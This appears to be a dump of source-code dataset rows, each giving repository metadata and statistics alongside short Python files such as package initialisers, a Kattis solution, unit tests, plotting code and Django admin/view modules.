] | 1 | 2022-03-12T01:03:25.000Z | 2022-03-12T01:03:25.000Z | corehq/apps/cloudcare/tests/selenium/__init__.py | johan--/commcare-hq | 86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd | [
"BSD-3-Clause"
] | null | null | null | from .test_corpora import *
| 14 | 27 | 0.785714 | 4 | 28 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 28 | 1 | 28 | 28 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0b18b2af1de3396a92af3f022800da88e23ad148 | 56 | py | Python | kattis/Roaming Romans.py | jaredliw/python-question-bank | 9c8c246623d8d171f875700b57772df0afcbdcdf | [
"MIT"
] | 1 | 2021-04-08T07:49:15.000Z | 2021-04-08T07:49:15.000Z | kattis/Roaming Romans.py | jaredliw/leetcode-solutions | 9c8c246623d8d171f875700b57772df0afcbdcdf | [
"MIT"
] | null | null | null | kattis/Roaming Romans.py | jaredliw/leetcode-solutions | 9c8c246623d8d171f875700b57772df0afcbdcdf | [
"MIT"
] | 1 | 2022-01-23T02:12:24.000Z | 2022-01-23T02:12:24.000Z | # CPU: 0.05 s
print(round(float(input()) * 1087.76267))
| 18.666667 | 41 | 0.642857 | 10 | 56 | 3.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244898 | 0.125 | 56 | 2 | 42 | 28 | 0.489796 | 0.196429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
500f537d312fbd8f30b4c09e6928022b82f1078a | 197 | py | Python | ccal/read_gps_map.py | alex-wenzel/ccal | 74dfc604d93e6ce9e12f34a828b601618df51faa | [
"MIT"
] | null | null | null | ccal/read_gps_map.py | alex-wenzel/ccal | 74dfc604d93e6ce9e12f34a828b601618df51faa | [
"MIT"
] | null | null | null | ccal/read_gps_map.py | alex-wenzel/ccal | 74dfc604d93e6ce9e12f34a828b601618df51faa | [
"MIT"
] | null | null | null | from gzip import open as gzip_open
from pickle import load
def read_gps_map(pickle_gz_file_path):
with gzip_open(pickle_gz_file_path) as pickle_gz_file:
return load(pickle_gz_file)
| 19.7 | 58 | 0.786802 | 35 | 197 | 4.028571 | 0.457143 | 0.22695 | 0.340426 | 0.22695 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172589 | 197 | 9 | 59 | 21.888889 | 0.865031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5018f39a83251b4d64720eb1c8278f1cec1843e7 | 49 | py | Python | sem_kge/__init__.py | sfschouten/semantic-kge | d653f6a7eb7222dba38fcdaa668eb892143d0b1e | [
"MIT"
] | null | null | null | sem_kge/__init__.py | sfschouten/semantic-kge | d653f6a7eb7222dba38fcdaa668eb892143d0b1e | [
"MIT"
] | null | null | null | sem_kge/__init__.py | sfschouten/semantic-kge | d653f6a7eb7222dba38fcdaa668eb892143d0b1e | [
"MIT"
] | null | null | null |
from sem_kge.typed_dataset import TypedDataset
| 16.333333 | 47 | 0.857143 | 7 | 49 | 5.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122449 | 49 | 2 | 48 | 24.5 | 0.930233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
50309ca15b986b0192b22f9ce5e526555846c3fb | 201 | py | Python | nasa/exceptions.py | SzySteve/nasa | f34053b6d530418889bcbc116d12cdc44dd87da4 | [
"MIT"
] | null | null | null | nasa/exceptions.py | SzySteve/nasa | f34053b6d530418889bcbc116d12cdc44dd87da4 | [
"MIT"
] | null | null | null | nasa/exceptions.py | SzySteve/nasa | f34053b6d530418889bcbc116d12cdc44dd87da4 | [
"MIT"
] | null | null | null | class NASAValidationError(Exception):
"""Raised when request parameters are invalid"""
pass
class NASAResponseError(Exception):
"""Raised when NASA returns anything but a 200"""
pass
| 22.333333 | 53 | 0.721393 | 22 | 201 | 6.590909 | 0.772727 | 0.206897 | 0.262069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018405 | 0.189055 | 201 | 8 | 54 | 25.125 | 0.871166 | 0.427861 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
5057f62d1c7c47fc28514dd21f13523119358bc7 | 56 | py | Python | src/ctc/evm/event_utils/__init__.py | fei-protocol/checkthechain | ec838f3d0d44af228f45394d9ba8d8eb7f677520 | [
"MIT"
] | 94 | 2022-02-15T19:34:49.000Z | 2022-03-26T19:26:22.000Z | src/ctc/evm/event_utils/__init__.py | fei-protocol/checkthechain | ec838f3d0d44af228f45394d9ba8d8eb7f677520 | [
"MIT"
] | 7 | 2022-03-03T02:58:47.000Z | 2022-03-11T18:41:05.000Z | src/ctc/evm/event_utils/__init__.py | fei-protocol/checkthechain | ec838f3d0d44af228f45394d9ba8d8eb7f677520 | [
"MIT"
] | 7 | 2022-02-15T17:53:07.000Z | 2022-03-17T19:14:17.000Z | from .event_backends import *
from .event_crud import *
| 18.666667 | 29 | 0.785714 | 8 | 56 | 5.25 | 0.625 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 56 | 2 | 30 | 28 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
accc1b681c906d2145212df2162a145c4806e1a7 | 2,250 | py | Python | epytope/Data/pssms/comblibsidney/mat/B_5101_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 7 | 2021-02-01T18:11:28.000Z | 2022-01-31T19:14:07.000Z | epytope/Data/pssms/comblibsidney/mat/B_5101_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 22 | 2021-01-02T15:25:23.000Z | 2022-03-14T11:32:53.000Z | epytope/Data/pssms/comblibsidney/mat/B_5101_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 4 | 2021-05-28T08:50:38.000Z | 2022-03-14T11:45:32.000Z | B_5101_9 = {0: {'A': -0.071, 'C': -0.19, 'E': -0.1, 'D': -0.27, 'G': -0.028, 'F': -0.25, 'I': -0.23, 'H': -0.15, 'K': -0.052, 'M': -0.32, 'L': -0.41, 'N': -0.19, 'Q': -0.037, 'P': -0.037, 'S': -0.051, 'R': -0.028, 'T': -0.089, 'W': -0.11, 'V': -0.17, 'Y': -1.0}, 1: {'A': -0.54, 'C': -0.079, 'E': -0.041, 'D': -0.022, 'G... | 2,250 | 2,250 | 0.342667 | 552 | 2,250 | 1.393116 | 0.219203 | 0.023407 | 0.010403 | 0.013004 | 0.10143 | 0 | 0 | 0 | 0 | 0 | 0 | 0.312766 | 0.164444 | 2,250 | 1 | 2,250 | 2,250 | 0.096277 | 0 | 0 | 0 | 0 | 0 | 0.079964 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ace21f309cc17d8562322e642e0756ad55c33216 | 9,034 | py | Python | ProgressedHttp/test/http_test.py | hellflame/progressed-http | 079fe4ee00095f2e7407a45ded91a6a21671ffc6 | [
"MIT"
] | null | null | null | ProgressedHttp/test/http_test.py | hellflame/progressed-http | 079fe4ee00095f2e7407a45ded91a6a21671ffc6 | [
"MIT"
] | null | null | null | ProgressedHttp/test/http_test.py | hellflame/progressed-http | 079fe4ee00095f2e7407a45ded91a6a21671ffc6 | [
"MIT"
] | null | null | null | # coding=utf8
from __future__ import absolute_import, division, print_function
import os
import unittest
import hashlib
import tempfile
from ProgressedHttp.http import *
from ProgressedHttp.http import quote
class HTTPTest(unittest.TestCase):
"""
static.hellflame.net
域名下的文件大多数情况下大文件都是chunked编码,小文件可能... | 36.136 | 115 | 0.582798 | 927 | 9,034 | 5.567422 | 0.157497 | 0.052315 | 0.00775 | 0.033908 | 0.821352 | 0.807595 | 0.7826 | 0.73106 | 0.685332 | 0.67545 | 0 | 0.046494 | 0.273854 | 9,034 | 249 | 116 | 36.281125 | 0.740244 | 0.032654 | 0 | 0.712821 | 0 | 0.010256 | 0.217356 | 0.025747 | 0 | 0 | 0 | 0 | 0.153846 | 1 | 0.066667 | false | 0 | 0.035897 | 0.005128 | 0.112821 | 0.005128 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c5a489f6d47d793fd36e439f0dfb71dfb599c489 | 27 | py | Python | lib/proxy/timer/__init__.py | mrcrgl/gge-storage | a8471624c1a865d4f7eeb00415bd4cd2a91ea310 | [
"MIT"
] | null | null | null | lib/proxy/timer/__init__.py | mrcrgl/gge-storage | a8471624c1a865d4f7eeb00415bd4cd2a91ea310 | [
"MIT"
] | 1 | 2015-04-09T15:58:19.000Z | 2015-04-14T06:37:02.000Z | lib/proxy/timer/__init__.py | mrcrgl/gge-storage | a8471624c1a865d4f7eeb00415bd4cd2a91ea310 | [
"MIT"
] | null | null | null | from .set_timeout import *
| 13.5 | 26 | 0.777778 | 4 | 27 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c5c629c8cbdb6cd439fe53f804d6d97333565c5e | 64,608 | py | Python | networking_sfc/tests/unit/db/test_flowclassifier_db.py | starlingx-staging/stx-networking-sfc | e6c93e8e58bbb428e77d565b7746e44b2f653ec6 | [
"Apache-2.0"
] | null | null | null | networking_sfc/tests/unit/db/test_flowclassifier_db.py | starlingx-staging/stx-networking-sfc | e6c93e8e58bbb428e77d565b7746e44b2f653ec6 | [
"Apache-2.0"
] | null | null | null | networking_sfc/tests/unit/db/test_flowclassifier_db.py | starlingx-staging/stx-networking-sfc | e6c93e8e58bbb428e77d565b7746e44b2f653ec6 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 Futurewei. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | 40.557439 | 78 | 0.479554 | 5,939 | 64,608 | 4.802492 | 0.045294 | 0.095926 | 0.104305 | 0.125167 | 0.856882 | 0.840649 | 0.822278 | 0.809901 | 0.797735 | 0.789987 | 0 | 0.034256 | 0.421202 | 64,608 | 1,592 | 79 | 40.582915 | 0.728466 | 0.009952 | 0 | 0.679554 | 0 | 0 | 0.186868 | 0.062581 | 0 | 0 | 0 | 0 | 0.008519 | 1 | 0.026868 | false | 0 | 0.010485 | 0 | 0.040629 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c5dbb38cb0da85646e65deae46bc4ec271bcd7a8 | 41,637 | py | Python | methcomp/glucose.py | daneishdespot/methcomp | 767d85aa56a8fda372847585decca8879ec2ac98 | [
"MIT"
] | null | null | null | methcomp/glucose.py | daneishdespot/methcomp | 767d85aa56a8fda372847585decca8879ec2ac98 | [
"MIT"
] | null | null | null | methcomp/glucose.py | daneishdespot/methcomp | 767d85aa56a8fda372847585decca8879ec2ac98 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import matplotlib
import numpy as np
from shapely.geometry import Polygon, Point
try:
import importlib.resources as pkg_resources
from importlib.resources import path
def path_func(pkg, file):
with path(pkg, file) as p:
return p
except ImportError:
... | 40.190154 | 143 | 0.509667 | 5,593 | 41,637 | 3.713749 | 0.086537 | 0.009821 | 0.003852 | 0.008088 | 0.804968 | 0.771653 | 0.754465 | 0.744259 | 0.732175 | 0.724423 | 0 | 0.074335 | 0.362538 | 41,637 | 1,035 | 144 | 40.228986 | 0.708198 | 0.259433 | 0 | 0.599665 | 0 | 0 | 0.048552 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043551 | false | 0 | 0.015075 | 0.005025 | 0.092127 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c5e402fa957a7fde55331cbce5ad7ec2312f7ff2 | 222 | py | Python | app/register/views.py | danilogco/django_skeleton | e9296b9d4f2a1ab75cce1c2c6467e1d3201968ff | [
"MIT"
] | null | null | null | app/register/views.py | danilogco/django_skeleton | e9296b9d4f2a1ab75cce1c2c6467e1d3201968ff | [
"MIT"
] | null | null | null | app/register/views.py | danilogco/django_skeleton | e9296b9d4f2a1ab75cce1c2c6467e1d3201968ff | [
"MIT"
] | null | null | null | #from django.core import serializers
from django.http import JsonResponse
import json
def index(request):
#response = serializers.serialize('json', model_inst)
return JsonResponse({ 'message': 'Hello, World!' })
| 24.666667 | 57 | 0.743243 | 26 | 222 | 6.307692 | 0.730769 | 0.121951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144144 | 222 | 8 | 58 | 27.75 | 0.863158 | 0.391892 | 0 | 0 | 0 | 0 | 0.150376 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
c5eaf2a64cb1e31f44d6643ef7958b13a85c099c | 100 | py | Python | tests/test_test.py | shirui-japina/tensorboardX | 366bc8ff960a1d674feb8a844da187222103251e | [
"MIT"
] | 16 | 2020-05-07T03:39:15.000Z | 2021-06-18T23:11:44.000Z | tests/test_test.py | kdongyi/tensorboardX | 9b9933aa6b614de32341142533e7cf9594cdc2c4 | [
"MIT"
] | 5 | 2020-05-10T11:46:58.000Z | 2021-05-23T09:09:17.000Z | tests/test_test.py | kdongyi/tensorboardX | 9b9933aa6b614de32341142533e7cf9594cdc2c4 | [
"MIT"
] | 3 | 2020-05-04T01:10:53.000Z | 2021-05-18T17:56:14.000Z | def test_linting():
import subprocess
# subprocess.check_output(['flake8', 'tensorboardX'])
| 25 | 57 | 0.71 | 10 | 100 | 6.9 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011765 | 0.15 | 100 | 3 | 58 | 33.333333 | 0.8 | 0.51 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a84a6f5ad21ef7b1ff4db77786c09eb4acd3eef6 | 74 | py | Python | pyculib/sparse/__init__.py | kenhester/pyculib | 25e013035b0830807d76860d151a8471fdf4cc43 | [
"BSD-2-Clause"
] | 105 | 2017-07-27T21:17:04.000Z | 2022-02-26T22:49:27.000Z | pyculib/sparse/__init__.py | kenhester/pyculib | 25e013035b0830807d76860d151a8471fdf4cc43 | [
"BSD-2-Clause"
] | 27 | 2017-07-27T23:32:54.000Z | 2022-02-25T02:59:29.000Z | pyculib/sparse/__init__.py | kenhester/pyculib | 25e013035b0830807d76860d151a8471fdf4cc43 | [
"BSD-2-Clause"
] | 14 | 2017-07-27T19:40:40.000Z | 2020-10-12T10:45:28.000Z | from __future__ import print_function, absolute_import
from .api import *
| 24.666667 | 54 | 0.837838 | 10 | 74 | 5.6 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121622 | 74 | 2 | 55 | 37 | 0.861538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
a8671e327ce5bc8f74016ea9217595e5db697875 | 752 | py | Python | tests/test_separator.py | webneshin/py-persian-tools | fcee9ad1af18866c6c7409aed9079e08d0a21595 | [
"MIT"
] | 77 | 2021-02-15T16:52:41.000Z | 2022-03-16T06:57:19.000Z | tests/test_separator.py | mhkhademi/py-persian-tools | 64d454a9e130c8d35fbf3671901cfa25fb25f456 | [
"MIT"
] | 4 | 2021-02-23T06:15:05.000Z | 2021-12-08T16:05:18.000Z | tests/test_separator.py | mhkhademi/py-persian-tools | 64d454a9e130c8d35fbf3671901cfa25fb25f456 | [
"MIT"
] | 12 | 2021-02-23T15:21:22.000Z | 2022-01-30T11:22:58.000Z | from persian_tools import separator
def test_add_separator():
assert separator.add(1000000) == '1,000,000'
assert separator.add(100000.0) == '100,000.0'
assert separator.add(100000.0001) == '100,000.0001'
assert separator.add('some text 1000000') == 'some text 1,000,000'
assert separator.add('۱۲۳۴... | 39.578947 | 73 | 0.672872 | 113 | 752 | 4.504425 | 0.265487 | 0.324165 | 0.212181 | 0.051081 | 0.194499 | 0.149312 | 0.051081 | 0 | 0 | 0 | 0 | 0.286604 | 0.146277 | 752 | 18 | 74 | 41.777778 | 0.493769 | 0 | 0 | 0 | 0 | 0 | 0.304521 | 0 | 0 | 0 | 0 | 0 | 0.785714 | 1 | 0.142857 | true | 0 | 0.071429 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a8c5e265810bcd71fae9bf36690f5c45b83c815b | 131 | py | Python | MnistClassifier/model_conv.py | Ingener74/Nizaje | 1bd0321091a2080f5d582cff2d04ea4bbfb40c3c | [
"MIT"
] | null | null | null | MnistClassifier/model_conv.py | Ingener74/Nizaje | 1bd0321091a2080f5d582cff2d04ea4bbfb40c3c | [
"MIT"
] | 3 | 2020-01-28T22:56:33.000Z | 2020-09-04T11:20:56.000Z | MnistClassifier/model_conv.py | Ingener74/Nizaje | 1bd0321091a2080f5d582cff2d04ea4bbfb40c3c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
def convert(image):
return image.reshape(1, image.shape[0], image.shape[1], 1)
| 21.833333 | 62 | 0.633588 | 21 | 131 | 3.952381 | 0.714286 | 0.240964 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.053571 | 0.145038 | 131 | 5 | 63 | 26.2 | 0.6875 | 0.328244 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
764fb2664fe41e811de6f002873564deeff63b8c | 209 | py | Python | students/K33401/laboratory_works/Shtreikh_Anna/Lr_3/Lr3/flights/admin.py | Dreamshh/ITMO_ICT_WebDevelopment_2021-2022 | 63ce5a4f31de224a674ff11985b351cdec41028c | [
"MIT"
] | null | null | null | students/K33401/laboratory_works/Shtreikh_Anna/Lr_3/Lr3/flights/admin.py | Dreamshh/ITMO_ICT_WebDevelopment_2021-2022 | 63ce5a4f31de224a674ff11985b351cdec41028c | [
"MIT"
] | null | null | null | students/K33401/laboratory_works/Shtreikh_Anna/Lr_3/Lr3/flights/admin.py | Dreamshh/ITMO_ICT_WebDevelopment_2021-2022 | 63ce5a4f31de224a674ff11985b351cdec41028c | [
"MIT"
] | null | null | null | from django.contrib import admin
from flights.models import *
admin.site.register(Flight)
admin.site.register(Ticket)
admin.site.register(Plane)
admin.site.register(Passenger)
admin.site.register(AirCompany) | 23.222222 | 32 | 0.822967 | 29 | 209 | 5.931034 | 0.482759 | 0.261628 | 0.494186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066986 | 209 | 9 | 33 | 23.222222 | 0.882051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.142857 | 0.285714 | 0 | 0.285714 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
7657b3dff6046fb911e33b1c85a5f0e346bb3521 | 138 | py | Python | inquire/teachers/__init__.py | HARPLab/inquire | fa74eb10e5391a0f226753668a31527c68fc6962 | [
"BSD-3-Clause"
] | null | null | null | inquire/teachers/__init__.py | HARPLab/inquire | fa74eb10e5391a0f226753668a31527c68fc6962 | [
"BSD-3-Clause"
] | null | null | null | inquire/teachers/__init__.py | HARPLab/inquire | fa74eb10e5391a0f226753668a31527c68fc6962 | [
"BSD-3-Clause"
] | null | null | null | from inquire.teachers.teacher import Teacher
from inquire.teachers.optimal import OptimalTeacher
__all__ = ["Teacher", "OptimalTeacher"]
| 27.6 | 51 | 0.818841 | 15 | 138 | 7.266667 | 0.533333 | 0.201835 | 0.348624 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094203 | 138 | 4 | 52 | 34.5 | 0.872 | 0 | 0 | 0 | 0 | 0 | 0.152174 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
768a450c08de63dd3253746364766fdc79c0fdd6 | 155 | py | Python | students/k3342/practical_works/Nikonchuk_Anna/Pr2/minos/minos/views.py | nikonura/ITMO_ICT_WebProgramming_2020 | f930041ce4a0fe64782f67716ca8056abb8a9792 | [
"MIT"
] | null | null | null | students/k3342/practical_works/Nikonchuk_Anna/Pr2/minos/minos/views.py | nikonura/ITMO_ICT_WebProgramming_2020 | f930041ce4a0fe64782f67716ca8056abb8a9792 | [
"MIT"
] | null | null | null | students/k3342/practical_works/Nikonchuk_Anna/Pr2/minos/minos/views.py | nikonura/ITMO_ICT_WebProgramming_2020 | f930041ce4a0fe64782f67716ca8056abb8a9792 | [
"MIT"
] | null | null | null | from django.template.backends import django
from django.shortcuts import render
def main_board(request):
return render(request, 'main_page.html')
| 15.5 | 44 | 0.780645 | 21 | 155 | 5.666667 | 0.666667 | 0.168067 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141935 | 155 | 9 | 45 | 17.222222 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0.092105 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
769a8e634419811e3eea3ee7c195d4e388b3d848 | 72 | py | Python | auth_filter/__init__.py | parveenchahal/python-common | 4e5488615db3e0f8ba7f0bfeee87304a98fee2d5 | [
"MIT"
] | null | null | null | auth_filter/__init__.py | parveenchahal/python-common | 4e5488615db3e0f8ba7f0bfeee87304a98fee2d5 | [
"MIT"
] | null | null | null | auth_filter/__init__.py | parveenchahal/python-common | 4e5488615db3e0f8ba7f0bfeee87304a98fee2d5 | [
"MIT"
] | null | null | null | from ._session_validator import validate_session, init_session_validator | 72 | 72 | 0.916667 | 9 | 72 | 6.777778 | 0.666667 | 0.52459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 72 | 1 | 72 | 72 | 0.897059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
76b22279256753808ec2fbbcdda908fb5846533c | 3,549 | py | Python | notebooks/plotting.py | NCAR/cesm-timeseries-plots | 0d90787a51eaf7530bbc34b8c654369d1e6c8e82 | [
"MIT"
